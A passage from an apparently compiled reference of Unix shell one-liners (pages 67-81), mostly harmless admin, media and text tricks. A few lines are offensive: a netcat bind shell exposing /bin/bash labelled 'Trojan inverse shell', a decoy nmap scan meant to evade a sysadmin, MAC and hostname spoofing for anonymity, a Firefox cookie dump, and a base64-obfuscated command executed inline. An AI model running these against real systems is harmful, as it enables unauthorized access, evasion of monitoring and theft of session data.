enscript jrandom.txt -o - | ps2pdf - ~/tmp/jrandom.pdf
ps2pdf - ~/tmp/ls.pdf (from stdout)

(from file) or: ls | enscript -o - |

# Stop procrastination on Facebook.com


sudo sh -c "echo '127.0.0.1 www.facebook.com' >> /etc/hosts"
# Random line from bash.org (funny IRC quotes)
curl -s http://bash.org/?random1|grep -oE "<p class=\"quote\">.*</p>.*</p>"|grep -oE "<p
class=\"qt.*?</p>"|sed -e 's/<\/p>/\n/g' -e 's/<p class=\"qt\">//g' -e 's/<p
class=\"qt\">//g'|perl -ne 'use HTML::Entities;print decode_entities($_),"\n"'|head -1
# Random unsigned integer
echo $RANDOM
# Parse a quoted .csv file
awk -F'^"|", "|"$' '{ print $2,$3,$4 }' file.csv
# Display which user run process from given port name
fuser -nu tcp 3691
# grep binary (hexadecimal) patterns
grep -P "\x05\x00\xc0" mybinaryfile
# reset hosed terminal
cls(){ printf "\033c";} or, if no printf, cat > c ;<ctrl+v> <ctrl+[>c <enter><ctrl-d> c()
{ cat c;} #usage: c
# randomize hostname and mac address, force dhcp renew. (for anonymous networking)
dhclient -r && rm -f /var/lib/dhcp3/dhclient* && sed "s=$(hostname)=REPLACEME=g" -i
/etc/hosts && hostname "$(echo $RANDOM | md5sum | cut -c 1-7 | tr a-z A-Z)" && sed
"s=REPLACEME=$(hostname)=g" -i /etc/hosts && macchanger -e eth0 && dhclient
# Limit bandwidth usage by any program
trickle -d 60 wget http://very.big/file
# see the TIME_WAIT and ESTABLISHED nums of the network
netstat -n | awk '/^tcp/ {++B[$NF]} END {for(a in B) print a, B[a]}'
# Execute a command on logout
trap cmd 0

67 / 658

All UNIX COMMANDS


# delete a particular line by line number in file
sed -i 3d ~/.ssh/known_hosts

# Lets Tux say the random fact. [add it to .bashrc to see it in new terminal window]
wget randomfunfacts.com -O - 2>/dev/null|grep \<strong\>|sed "s;^.*<i>\(.*\)</i>.*$;\1;"|
cowsay -f tux
# Join lines
tr "\n" " " < file
# cpu and memory usage top 10 under Linux
ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3}
END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f\t
%.2f\n",num[user], user, cpu[user], mem[user]) }'
# know the current running shell (the true)
echo $0
# Use mtr to create a text file report
mtr --report --report-cycles 10 www.google.com > google_net_report.txt
# List dot-files and dirs, but not . or ..
ls -A
# gzip compression with progress bar and remaining time displayed
pv file | gzip > file.gz
# which process has a port open
lsof -i :80
# Configure second monitor to sit to the right of laptop
xrandr --output LVDS --auto --output VGA --auto --right-of LVDS
# Use a decoy while scanning ports to avoid getting caught by the sys admin :9
sudo nmap -sS 192.168.0.10 -D 192.168.0.2
# quick input
alt + .
# Quickly analyze apache logs for top 25 most common IP addresses.
cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i],
i ); }' | sort -n | tail -25
# Determine what an process is actually doing
sudo strace -pXXXX -e trace=file
# command to change the exif date time of a image
exiftool -DateTimeOriginal='2009:01:01 02:03:04' file.jpg
# Show IP Address in prompt --> PS1 var
export PS1="[\u@`hostname -I` \W]$ "
# Removes file with a dash in the beginning of the name
rm -- --myfile
# Increase mplayer maximum volume
mplayer dvd:// -softvol -softvol-max 500

68 / 658

All UNIX COMMANDS


# run php code inline from the command line
php -r 'echo strtotime("2009/02/13 15:31:30")."\n";'
# Remove all unused kernels with apt-get
aptitude remove $(dpkg -l|awk '/^ii linux-image-2/{print $2}'|sed 's/linux-image-//'|awk -v
v=`uname -r` 'v>$0'|sed 's/-generic//'|awk '{printf("linux-headers-%s\nlinux-headers-%sgeneric\nlinux-image-%s-generic\n",$0,$0,$0)}')
# Move all files in subdirectories to current dir
find ./ -type f -exec mv {} . \;
# create shortcut keys in bash
bind -x '"\C-p"':pwd
# log your PC's motherboard and CPU temperature along with the current date
echo `date +%m/%d/%y%X |awk '{print $1;}' `" => "` cat
/proc/acpi/thermal_zone/THRM/temperature | awk '{print $2, $3;}'` >> datetmp.log
# On screen display of a command.
date|osd_cat
# convert unixtime to human-readable with awk
echo 1234567890 | awk '{ print strftime("%c", $0); }'
# Create an SSH tunnel for accessing your remote MySQL database with a local port
ssh -CNL 3306:localhost:3306 user@site.com

# Realtime lines per second in a log file


tail -f access.log | pv -l -i10 -r >/dev/null
# Copy history from one terminal to another
history -w <switch to another terminal> history -r
# Resets your MAC to a random MAC address to make you harder to find.
ran=$(head /dev/urandom | md5sum); MAC=00:07:${ran:0:2}:${ran:3:2}:${ran:5:2}:${ran:7:2};
sudo ifconfig wlan0 down hw ether $MAC; sudo ifconfig wlan0 up; echo ifconfig wlan0:0
# va - alias for editing aliases
alias va='vi ~/.aliases; source ~/.aliases && echo "aliases sourced"'
# Get the size of all the directories in current directory
du --max-depth=1
# Remove comments from files
sed -e '/^#/d' -e 's/#.*$//' in
# Submit data to a HTML form with POST method and save the response
curl -sd 'rid=value&submit=SUBMIT' <URL> > out.html
# chmod - change file permissions of a file to be similar of another
chmod --reference=file1 file2
# Make any command read line enabled (on *nix)
rlwrap sqlite3 database.db
# Merges given files line by line
paste -d ',:' file1 file2 file3

69 / 658

All UNIX COMMANDS


# Download free e-books
wget -erobots=off --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3)
Gecko/2008092416 Firefox/3.0.3" -H -r -l2 --max-redirect=1 -w 5 --random-wait
-PmyBooksFolder -nd --no-parent -A.pdf http://URL
# Show the UUID of a filesystem or partition
blkid /dev/sda7
# generate a randome 10 character password
tr -dc A-Za-z0-9_ < /dev/urandom | head -c 10 | xargs
# split a string (2)
read VAR1 VAR2 VAR3 < <(echo aa bb cc); echo $VAR2
# Have a random "cow" say a random thing
fortune | cowsay -f $(ls /usr/share/cowsay/cows/ | shuf -n1)
# Create QR codes from a URL.
qrurl() { curl "http://chart.apis.google.com/chart?chs=150x150&cht=qr&chld=H%7C0&chl=$1" -o
qr.$(date +%Y%m%d%H%M%S).png; }
# Bash prompt with user name, host, history number, current dir and just a touch of color
export PS1='\n[\u@\h \! \w]\n\[\e[32m\]$ \[\e[0m\]'
# Remove newlines from output
grep . filename
# Reboot as a different OS in Grub
echo "savedefault --default=2 --once" | grub --batch; sudo reboot
# Print all 256 colors for testing TERM or for a quick reference
( x=`tput op` y=`printf %$((${COLUMNS}-6))s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}3:3} `tput setaf $i;tput setab $i`${y// /=}$x;done; )
# Paste the contents of OS X clipboard into a new text file
pbpaste > newfile.txt
# Start an X app remotely
ssh -f user@remote.ip DISPLAY=:0.0 smplayer movie.avi
# Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|
grep -Eo '<li>[^<]+'|sed 's/^<li>//g'|nl|/usr/bin/perl -MHTML::Entities -pe
'decode_entities($_)';}
# Remove all zero size files from current directory (not recursive)
find . -maxdepth 1 -empty -delete
# find out how many days since given date
echo $((($(date +%s)-$(date +%s -d "march 1"))/86400))

# Print one . instead of each line


alias ...="awk '{fflush(); printf \".\"}' && echo \"\""
# Display connections histogram
netstat -an | grep ESTABLISHED | awk '\''{print $5}'\'' | awk -F: '\''{print $1}'\'' | sort
| uniq -c | awk '\''{ printf("%s\t%s\t",$2,$1); for (i = 0; i < $1; i++) {printf("*")};
print ""}'\''

70 / 658

All UNIX COMMANDS


# Replace multiple file extensions with a single extension
for f in t1.bmp t2.jpg t3.tga; do echo ${f%.*}.png; done
# convert from decimal to hexadecimal
hex() { printf "%X\n" $1; }
# Stream and copy a video from lan
nc HOST PORT | tee movie.mp4 | mplayer # Find default gateway
ip route | awk '/default/{print $3}'
# Create a QR code image in MECARD format
qrencode -o myqr.png 'MECARD:N:Lee,Chris;TEL:8881234567;EMAIL:chris.lee@somedomain.com;;'
# Show network throughput
tcpdump -w - |pv -bert >/dev/null
# Fast command-line directory browsing
function cdls { cd $1; ls; }
# Recording the desktop and an application audio source for webcast
ffmpeg -f alsa -ac 2 -i pulse -f x11grab -r 30 -s 1024x768 -i :0.0 -acodec pcm_s16le -vcodec
libx264 -vpre lossless_ultrafast -threads 0 ./Desktop/mydesktop.mkv
# ls -qaltr
# list directory in chronological order, most recent files at end of list
ls -qaltr
# list directory in chronological order, most recent files at end of list
# Compress a series of png pictures to an avi movie.
mencoder "mf://*.png" -mf fps=2 -o output.avi -ovc lavc -lavcopts vcodec=mpeg4
# find .txt files inside a directory and replace every occurrance of a word inside them via
sed
find . -name '*.txt' -exec sed -ir 's/this/that/g' {} \;
# Get all files of particular type (say, PDF) listed on some wegpage (say, example.com)
wget -r -A .pdf -l 5 -nH --no-parent http://example.com
# Stream YouTube URL directly to mplayer.
mplayer -fs -cookies -cookies-file /tmp/cookie.txt $(youtube-dl -g --cookies /tmp/cookie.txt
"http://www.youtube.com/watch?v=PTOSvEX-YeY")
# Edit the Last Changed File
vim $( ls -t | head -n1 )
# guitar synthesizer in one line of C
f=220;echo "int s=16e3/$f;main(i){unsigned char v[s];read(0,v,s);for(;;)putchar(v[i%s]=(v[i
%s]+v[++i%s])/2);}"|gcc -x c -&&./a.out</dev/urandom|aplay -d 2
# Rename .JPG to .jpg recursively
find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;
# ROT13 whole file in vim.
ggg?G
# Killing processes with your mouse in an infinite loop
while true; do xkill -button any; done
# Generate a graph of package dependencies

71 / 658

All UNIX COMMANDS


apt-cache dotty apache2 | dot -T png | display
# Terminal Keyboard Shortcut list
echo -e "Terminal shortcut keys\n" && sed -e 's/\^/Ctrl+/g;s/M-/Shift+/g' <(stty -a 2>&1|
sed -e 's/;/\n/g' | grep "\^" | tr -d ' ')
# check open ports (both ipv4 and ipv6)
netstat -plnt
# check the status of 'dd' in progress
watch -n 10 killall -USR1 dd
# Convert a bunch of HTML files from ISO-8859-1 to UTF-8 file encoding in a folder and all
sub-folders
for x in `find . -name '*.html'` ; do iconv -f ISO-8859-1 -t UTF-8 $x > "$x.utf8"; rm $x; mv
"$x.utf8" $x; done

# Create date-based tgz of current dir, runs in the background, very very cool
alias tarred='( ( D=`builtin pwd`; F=$(date +$HOME/`sed "s,[/ ],#,g" <<< ${D/${HOME}/}`#%F.tgz); tar --ignore-failed-read --transform "s,^${D%/*},`date +${D%/*}.%F`,S" -czPf "$F"
"$D" &>/dev/null ) & )'
# get bofh excuse from a trusted source :-)
telnet bofh.jeffballard.us 666
# Apply permissions only to files
chmod 644 $(find . -type f)
# Create the oauth token required for a Twitter stream feed
step3() { s=$(echo -n $b | openssl dgst -sha1 -hmac $hmac -binary | openssl base64);
signature=`for((i=0;i<${#s};i++)); do case ${s:i:1} in +) e %2B;; /) e %2F;; =) e %3D;; *) e
${s:i:1};; esac ; done` ; } ; e() { echo -n $1; }
# Create the four oauth keys required for a Twitter stream feed
step1() { k1="Consumer key" ; k2="Consumer secret" ; k3="Access token" ; k4="Access token
secret" ; once=$RANDOM ; ts=$(date +%s) ; hmac="$k2&$k4" ; id="19258798" ; }
# List just the executable files (or directories) in current directory
ls *(.x)
# Create the signature base string required for a Twitter stream feed
step2(){ b="GET&https%3A%2F%2Fstream.twitter.com%2F1%2Fstatuses%2Ffilter.json&follow%3D${id}
%26oauth_consumer_key%3D${k1}%26oauth_nonce%3D${once}%26oauth_signature_method%3DHMACSHA1%26oauth_timestamp%3D${ts}%26oauth_token%3D${k3}%26oauth_version%3D1.0";}
# Create an SSH connection (reverse tunnel) through your firewall.
ssh -R 2001:localhost:22 [username]@[remote server ip]
# Create the authorization header required for a Twitter stream feed
step4() { oauth_header="Authorization: OAuth oauth_consumer_key=\"$k1\",
oauth_nonce=\"$once\", oauth_signature=\"$signature\", oauth_signature_method=\"HMAC-SHA1\",
oauth_timestamp=\"$ts\", oauth_token=\"$k3\", oauth_version=\"1.0\"" ; }
# find the 10 latest (modified) files
ls -1t | head -n10
# ROT13 using the tr command
alias rot13="tr a-zA-Z n-za-mN-ZA-M"

72 / 658

All UNIX COMMANDS


# Remount a usb disk in Gnome without physically removing and reinserting
eject /dev/sdb; sleep 1; eject -t /dev/sdb
# vim as a pager - similar to less command but with color
alias vless='/usr/share/vim/vimcurrent/macros/less.sh'
# Advanced LS Output using Find for Formatted/Sortable File Stat info
find $PWD -maxdepth 1 -printf '%.5m %10M %#9u:%-9g %#5U:%-5G [%AD | %TD | %CD]

[%Y] %p\n'

# launch bash without using any letters


${0/-/}
# skip broken piece of a loop but not exit the loop entirely
ctrl + \
# search ubuntu packages to find which package contains the executable program programname
apt-file find bin/programname
# (Debian/Ubuntu) Discover what package a file belongs to
dlocate /path/to/file
# Make the "tree" command pretty and useful by default
alias tree="tree -CAFa -I 'CVS|*.*.package|.svn|.git' --dirsfirst"
# Prevent shell autologout
unset TMOUT
# Find the dates your debian/ubuntu packages were installed.
ls /var/lib/dpkg/info/*.list -lht |less
# Show errors in the kernel ring buffer
dmesg -xT -l err,crit,emerg
# Scan Network for Rogue APs.
nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initialrtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 1000 -oA wapscan
10.0.0.0/8
# Check a server is up. If it isn't mail me.
ping -q -c1 -w3 brandx.jp.sme 2&>1 /dev/null || echo brandx.jp.sme ping failed | mail -ne
-s'Server unavailable' joker@jp.co.uk
# Convert all .flac from a folder subtree in 192Kb mp3
find . -type f -iname '*.flac' | while read FILE; do FILENAME="${FILE%.*}"; flac -cd "$FILE"
| lame -b 192 - "${FILENAME}.mp3"; done

# vimdiff local and remote files via ssh


vimdiff /path/to/file scp://remotehost//path/to/file
# Use bash history with process substitution
<(!!)
# CPU architecture details
lscpu
# list all file extensions in a directory
find . -type f | awk -F'.' '{print $NF}' | sort| uniq -c | sort -g

73 / 658

All UNIX COMMANDS


# ubuntu easter eggs
apt-get moo
# Copy specific files to another machine, keeping the file hierarchy
tar cpfP - $(find <somedir> -type f -name *.png) | ssh user@host | tar xpfP # get you public ip address
curl ifconfig.me
# Chmod all directories (excluding files)
find public_html/ -type d -exec chmod 755 {} +
# Get absolut path to your bash-script
script_path=$(cd $(dirname $0);pwd)
# View and review the system process tree.
pstree -Gap | less -r
# Vi - Matching Braces, Brackets, or Parentheses
%
# Move files around local filesystem with tar without wasting space using an intermediate
tarball.
( cd SOURCEDIR && tar cf - . ) | (cd DESTDIR && tar xvpf - )
# recursive reset file/dir perms
find public_html/stuff -type d -exec chmod 755 {} + -or -type f -exec chmod 644 {} +
# To Stop or Start (Restart) a Windows service from a Linux machine
net rpc -I indirizzoip -U nomeutente%password servizio {stop|start} nomedelservizio
# Copy something to multiple SSH hosts with a Bash loop
for h in host1 host2 host3 host4 ; { scp file user@$h:/destination_path/ ; }
# Show apps that use internet connection at the moment. (Multi-Language)
netstat -lantp | grep -i stab | awk -F/ '{print $2}' | sort | uniq
# merge vob files to mpg
cat VTS_05_1.VOB VTS_05_2.VOB VTS_05_3.VOB VTS_05_4.VOB > mergedmovie.mpg
# Simulate slow network connection locally
sudo tc qdisc add dev lo root netem delay 500ms
# Get the weather forecast for the next 24 to 48 for your location.
weather(){ curl -s "http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=$
{@:-<YOURZIPORLOCATION>}"|perl -ne '/<title>([^<]+)/&&printf "%s: ",$1;/<fcttext>([^<]
+)/&&print $1,"\n"';}
# Extract dd-image from VirtualBox VDI container and mount it
vditool COPYDD my.vdi my.dd ; sudo mount -t ntfs -o ro,noatime,noexex,loop,offset=32256
my.dd ./my_dir
# Play 89.3 @TheCurrent and get system notifications on song changes.
mplayer http://minnesota.publicradio.org/tools/play/streams/the_current.pls < /dev/null |
grep --line-buffered "StreamTitle='.*S" -o | grep --line-buffered "'.*'" -o > mus & tail -n0
-f mus | while read line; do notify-send "Music Change" "$line";done
# Command for JOHN CONS

74 / 658

All UNIX COMMANDS


alias Z=base64&&Z=dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=&&$(echo
$Z|Z -d)
# Encrypt and password-protect execution of any bash script, Version 2
read -p 'Script: ' S && C=$S.crypt H='eval "$((dd if=$0 bs=1 skip=//|gpg -d)2>/dev/null)";
exit;' && gpg -c<$S|cat >$C <(echo $H|sed s://:$(echo "$H"|wc -c):) - <(chmod +x $C)
# split a multi-page PDF into separate files
pdftk in.pdf burst
# Remove everything except that file
( shopt -s extglob; rm !(<PATTERN>) )

# Migrate Server with rsync


rsync -ayz -e ssh --exclude=/proc --exclude=/sys --exclude=/dev / root@NEWHOST:/MNTDIR
# Using ASCII Art output on MPlayer
mplayer -vo aa <video file>
# Multi-line grep
perl -ne 'BEGIN{undef $/}; print "$ARGV\t$.\t$1\n" if m/(first line.*\n.*second line)/mg'
# Sets shell timeout
export TMOUT=10
# sum a column of numbers
awk '{s+=$1}END{print s}' <file>
# Does a full update and cleaning in one line
sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoclean && sudo apt-get
autoremove
# direct a single stream of input (ls) to multiple readers (grep & wc) without using
temporary files
ls |tee >(grep xxx |wc >xxx.count) >(grep yyy |wc >yyy.count) |grep zzz |wc >zzz.count
# Find the cover image for an album
albumart(){ local y="$@";awk '/View larger image/{gsub(/^.*largeImagePopup\(.|.,
.*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y// /
+}'&itempage=1&newsearch=1&searchindex=Music');}
# open two files on top of each other in vim (one window, two panes)
vim -o file1 file2
# Change/Modify timestamp
touch --date "2010-01-05" /tmp/filename
# Execute text from the OS X clipboard.
`pbpaste` | pbcopy
# Show when filesystem was created
dumpe2fs -h /dev/DEVICE | grep 'created'
# Open files in a split windowed Vim
vim -o file1 file2...
# remap Caps_Lock to Escape
xmodmap -e 'clear Lock' -e 'keycode 0x42 = Escape'

75 / 658

All UNIX COMMANDS


# create iso image from a directory
mkisofs -o XYZ.iso XYZ/
# backup and remove files with access time older than 5 days.
tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5` 2> /dev/null |
xargs rm -fr ;
# Save man pages to pdf
man -t man | ps2pdf - > man.pdf
# Quick way to sum every numbers in a file written line by line
(sed 's/^/x+=/' [yourfile] ; echo x) | bc
# Watch Aljazeera live
rtmpdump -v -r rtmp://livestfslivefs.fplive.net/livestfslive-live/ -y
"aljazeera_en_veryhigh" -a "aljazeeraflashlive-live" -o -| mplayer # Find the 20 biggest directories on the current filesystem
du -xk | sort -n | tail -20
# Find all files of a type and copy them elsewhere while keeping intact their full directory
structure using find and cpio
find . -iname "*.flac" | cpio -pdm /Volumes/Music/FLAC
# List the largest directories & subdirectoties in the current directory sorted from largest
to smallest.
du -k | sort -r -n | more
# Another Matrix Style Implementation
COL=$(( $(tput cols) / 2 )); clear; tput setaf 2; while :; do tput cup $((RANDOM%COL)) $
((RANDOM%COL)); printf "%$((RANDOM%COL))s" $((RANDOM%2)); done
# View files opened by a program on startup and shutdown
sudo lsof -rc command >> /tmp/command.txt
# Silently Execute a Shell Script that runs in the background and won't die on HUP/logout
nohup /bin/sh myscript.sh 1>&2 &>/dev/null 1>&2 &>/dev/null&

# Compress blank lines


cat -s
# Update twitter from command line without reveal your password
curl -n -d status='Hello from cli' https://twitter.com/statuses/update.xml
# Sync MySQL Servers via secure SSH-tunnel
ssh -f -L3307:127.0.0.1:3306 -N -t -x user@host sleep 600 ; mk-table-sync --execute
--verbose u=root,p=xxx,h=127.0.0.1,P=3307 u=root,p=xxx,h=localhost
# Outputs a sorted list of disk usage to a text file
du | sort -gr > file_sizes
# Visualizing system performance data
(echo "set terminal png;plot '-' u 1:2 t 'cpu' w linespoints;"; sudo vmstat 2 10 | awk 'NR >
2 {print NR, $13}') | gnuplot > plot.png
# Disable the ping response
sudo -s "echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all"

76 / 658

All UNIX COMMANDS


# How many files in the current directory ?
find . -maxdepth 1 -type f | wc -l
# The NMAP command you can use scan for the Conficker virus on your LAN
nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.0.1-254
# Show the number of current httpd processes
pgrep -c httpd
# Search commandlinefu.com from the command line using the API
curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n
$@ | base64)/plaintext"
# Update zone file Serial numbers
sed -i 's/20[0-1][0-9]\{7\}/'`date +%Y%m%d%I`'/g' *.db
# Terminal redirection
script -f /dev/pts/3
# Find all dot files and directories
echo .*
# Show a passive popup in KDE
kdialog --passivepopup <text> <timeout>
# Find dead symbolic links
find -L -type l
# Convert a flv video file to avi using mencoder
mencoder your_video.flv -oac mp3lame -ovc xvid -lameopts preset=standard:fast -xvidencopts
pass=1 -o your_video.avi
# Protect directory from an overzealous rm -rf *
sudo chattr -R +i dirname
# Read choice from user instantaneously
read -N1
# Backup sda5 partition to ftp ( using pipes and gziped backup )
dd if=/dev/sda5 bs=2048 conv=noerror,sync | gzip -fc | lftp -u user,passwd domain.tld -e
"put /dev/stdin -o backup-$(date +%Y%m%d%H%M).gz; quit"
# Find status of all symlinks
symlinks -r $(pwd)
# Install a local RPM package from your desktop, then use the YUM repository to resolve its
dependencies.
yum localinstall /path/to/package.rpm
# nmap IP block and autogenerate comprehensive Nagios service checks
nmap -sS -O -oX /tmp/nmap.xml 10.1.1.0/24 -v -v && perl nmap2nagios.pl -v -r /tmp/10net.xml
-o /etc/nagios/10net.cfg
# Show top committers for SVN repositority for today
svn log -r {`date "+%Y-%m-%d"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
# Trojan inverse shell
nc -l -p 2000 -e /bin/bash

77 / 658

All UNIX COMMANDS


# Turn On/Off Keyboard LEDs via commandline
xset led 3

# Calculate md5 sums for every file in a directory tree


find . -type f -exec md5sum {} \; > sum.md5
# Show 'Hardware path'-style tree of all devices in Linux
lshw -short
# poor man's vpn
sshuttle --dns -vvr user@server 0/0
# Remove trailing space in vi
:%s/\s\+$//
# Search commandlinefu and view syntax-highlighted results in vim
cmdfu(){ local t=~/cmdfu;echo -e "\n# $1 {{{1">>$t;curl -s
"commandlinefu.com/commands/matching/$1/`echo -n $1|base64`/plaintext"|sed '1,2d;s/^#.*/&
{{{2/g'>$t;vim -u /dev/null -c "set ft=sh fdm=marker fdl=1 noswf" -M $t;rm $t; }
# Clear filesystem memory cache
sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
# download 10 random wallpapers from google
for i in {1..10};do wget $(wget -O- -U "" "http://images.google.com/images?
imgsz=xxlarge&hl=en&q=wallpaper+HD&start=$(($RANDOM%900+100))" --quiet | grep -oe 'http://
[^"]*\.jpg' | head -1);done
# show lines that appear in both file1 and file2
comm -1 -2 <(sort file1) <(sort file2)
# Grep syslog today last hour
grep -i "$(date +%b\ %d\ %H)" syslog
# Comment current line
<ESC> #
# Grep log between range of minutes
grep -i "$(date +%b" "%d )13:4[0-5]" syslog
# Kill any process with one command using program name
killall <name>
# Launch a VirtualBox virtual machine
VBoxManage startvm "name"
# convert .bin / .cue into .iso image
bchunk IMAGE.bin IMAGE.cue IMAGE.iso
# prettier "cal" command
cal |grep -A7 -B7 --color=auto $(date +%d)
# SH
shmore(){ local l L M="`echo;tput setab 4&&tput setaf 7` --- SHMore --- `tput
sgr0`";L=2;while read l;do echo "${l}";((L++));[[ "$L" == "${LINES:-80}" ]]&&{ L=2;read
-p"$M" -u1;echo;};done;}
# create an incremental backup of a directory using hard links

78 / 658

All UNIX COMMANDS


rsync -a --delete --link-dest=../lastbackup $folder $dname/
# Stream audio over ssh
ssh [user]@[address] "mpg321 -" < [file].mp3
# background a wget download
wget -b http://dl.google.com/android/android-sdk_r14-linux.tgz
# Show all programs on UDP and TCP ports with timer information
netstat -putona
# Print trending topics on Twitter
curl -s search.twitter.com | awk -F'</?[^>]+>' '/\/intra\/trend\//{print $2}'
# Show the PATH, one directory per line
printf ${PATH//:/\\n}
# Remux an avi video if it won't play easily on your media device
mencoder -ovc copy -oac copy -of avi -o remuxed.avi original.avi
# Change tha mac adresse
sudo ifconfig eth0 hw ether 00:01:02:03:04:05
# Detect if we are running on a VMware virtual machine
dmidecode | awk '/VMware Virtual Platform/ {print $3,$4,$5}'

# gpg decrypt a file


gpg --output foo.txt --decrypt foo.txt.pgp
# C one-liners
/lib/ld-linux.so.2 =(echo -e '#include <stdio.h>\nint main(){printf("c one liners\\n");}' |
gcc -x c -o /dev/stdout -)
# Add a function you've defined to .bashrc
addfunction () { declare -f $1 >> ~/.bashrc ; }
# Download all Phrack .tar.gzs
curl http://www.phrack.org/archives/tgz/phrack[1-67].tar.gz -o phrack#1.tar.gz
# Use Linux coding style in C program
indent -linux helloworld.c
# Limit the transfer rate and size of data over a pipe
cat /dev/urandom | pv -L 3m | dd bs=1M count=100 iflag=fullblock > /dev/null
# Copy a file over SSH without SCP
ssh HOST cat < LOCALFILE ">" REMOTEFILE
# Watch active calls on an Asterisk PBX
watch -n 1 "sudo asterisk -vvvvvrx 'core show channels' | grep call"
# convert doc to pdf
unoconv -f pdf filename.doc
# What is my ip?
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
# Search previous commands from your .bash_history

79 / 658

All UNIX COMMANDS


ctrl + r
# get cookies from firefox
echo ".mode tabs select host, case when host glob '.*' then 'TRUE' else 'FALSE' end, path,
case when isSecure then 'TRUE' else 'FALSE' end, expiry, name, value from moz_cookies;" |
sqlite3 ~/.mozilla/firefox/*.default/cookies.sqlite
# Create a zip file ignoring .svn files
zip -r foo.zip DIR -x "*/.svn/*"
# Script executes itself on another host with one ssh command
[ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client
# change exif data in all jpeg's
for f in *.jpg; do exif --ifd=0 --tag=0x0110 --set-value="LOMO LC-A" --output=$f $f; exif
--ifd=0 --tag=0x010f --set-value="LOMO" --output=$f $f;
done }
# Remove empty directories
find . -type d -empty -delete
# Give to anyone a command to immediatly find a particular part of a man.
man <COMMAND> | less +'/pattern'
# ASCII webcam live stream video using mplayer
mplayer -tv driver=v4l2:gain=1:width=640:height=480:device=/dev/video0:fps=10:outfmt=rgb16
-vo aa tv://
# Check if your webserver supports gzip compression with curl
curl -I -H "Accept-Encoding: gzip,deflate" http://example.org
# Remove invalid host keys from ~/.ssh/known_hosts
ssh-keygen -R \[localhost\]:8022
# copy/mkdir and automatically create parent directories
cp --parents /source/file /target-dir
# Huh? Where did all my precious space go ?
ls -la | sort -k 5bn
# Verbosely delete files matching specific name pattern, older than 15 days.
find /backup/directory -name "FILENAME_*" -mtime +15 | xargs rm -vf
# watch iptables counters
watch --interval 0 'iptables -nvL | grep -v "0

0"'

# Print a cron formatted time for 2 minutes in the future (for crontab testing)
crontest () { date '-d +2 minutes' +'%M %k %d %m *'; }

# Get information about a video file


mplayer -vo dummy -ao dummy -identify your_video.avi
# Erase a word
<CTRL+w>
# View the newest xkcd comic.
eog `curl -s http://xkcd.com/ | sed -n 's/<h3>Image URL.*: \(.*\)<\/h3>/\1/p'`
# swap stdout and stderr

80 / 658

All UNIX COMMANDS


$command 3>&1 1>&2 2>&3
# Conficker Detection with NMAP
nmap -PN -d -p445 --script=smb-check-vulns --script-args=safe=1 IP-RANGES
# Redefine the cd command's behavior
cd() { builtin cd "${@:-$HOME}" && ls; }
# Don't spam root. Log your cronjob output to syslog
*/5 * * * * root
/usr/local/nagios/sbin/nsca_check_disk 2>&1 |/usr/bin/logger -t
nsca_check_disk
# Matrix Style
check the sample output below, the command was too long :(
# capture mysql queries sent to server
tshark -i any -T fields -R mysql.query -e mysql.query
# Consolle based network interface monitor
ethstatus -i eth0
# Jump to line X in file in Nano.
nano +X foo
# Batch rename extension of all files in a folder, in the example from .txt to .md
rename 's/.txt/.md/i' *
# For a $FILE, extracts the path, filename, filename without extension and extension.
FILENAME=${FILE##*/};FILEPATH=${FILE%/*};NOEXT=${FILENAME%\.*};EXT=${FILE##*.}
# a function to create a box of '=' characters around a given string.
box() { t="$1xxxx";c=${2:-=}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; }
# Count the number of queries to a MySQL server
echo "SHOW PROCESSLIST\G" | mysql -u root -p | grep "Info:" | awk -F":" '{count[$NF]+
+}END{for(i in count){printf("%d: %s\n", count[i], i)}}' | sort -n
# Display IPs accessing your Apache webserver.
egrep -o '\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b' access.log | sort -u
# find the difference between two nodes
diff <(ssh nx915000 "rpm -qa") <(ssh nx915001 "rpm -qa")
# See how many % of your memory firefox is using
ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/'
# Binary Clock
watch -n 1 'date "+obase=2; print %H,\":\",%M,\":\",%S" |bc'
# Mount a partition from within a complete disk dump
INFILE=/path/to/your/backup.img; MOUNTPT=/mnt/foo; PARTITION=1; mount "$INFILE" "$MOUNTPT"
-o loop,offset=$[ `/sbin/sfdisk -d "$INFILE" | grep "start=" | head -n $PARTITION | tail -n1
| sed 's/.*start=[ ]*//' | sed 's/,.*//'` * 512 ]
# Change newline to space in a file just using echo
echo $(</tmp/foo)
# climagic's New Year's Countdown clock
while V=$((`date +%s -d"2010-01-01"`-`date +%s`));do if [ $V == 0 ];then figlet 'Happy New
Year!';break;else figlet $V;sleep 1;clear;fi;done

81 / 658

All UNIX COMMANDS


# Quick case-insenstive partial filename search
alias lg='ls --color=always | grep --color=always -i'
# mount an iso
mount -o loop -t iso9660 my.iso /mnt/something
# Print Memory Utilization Percentage For a specific process and it's children
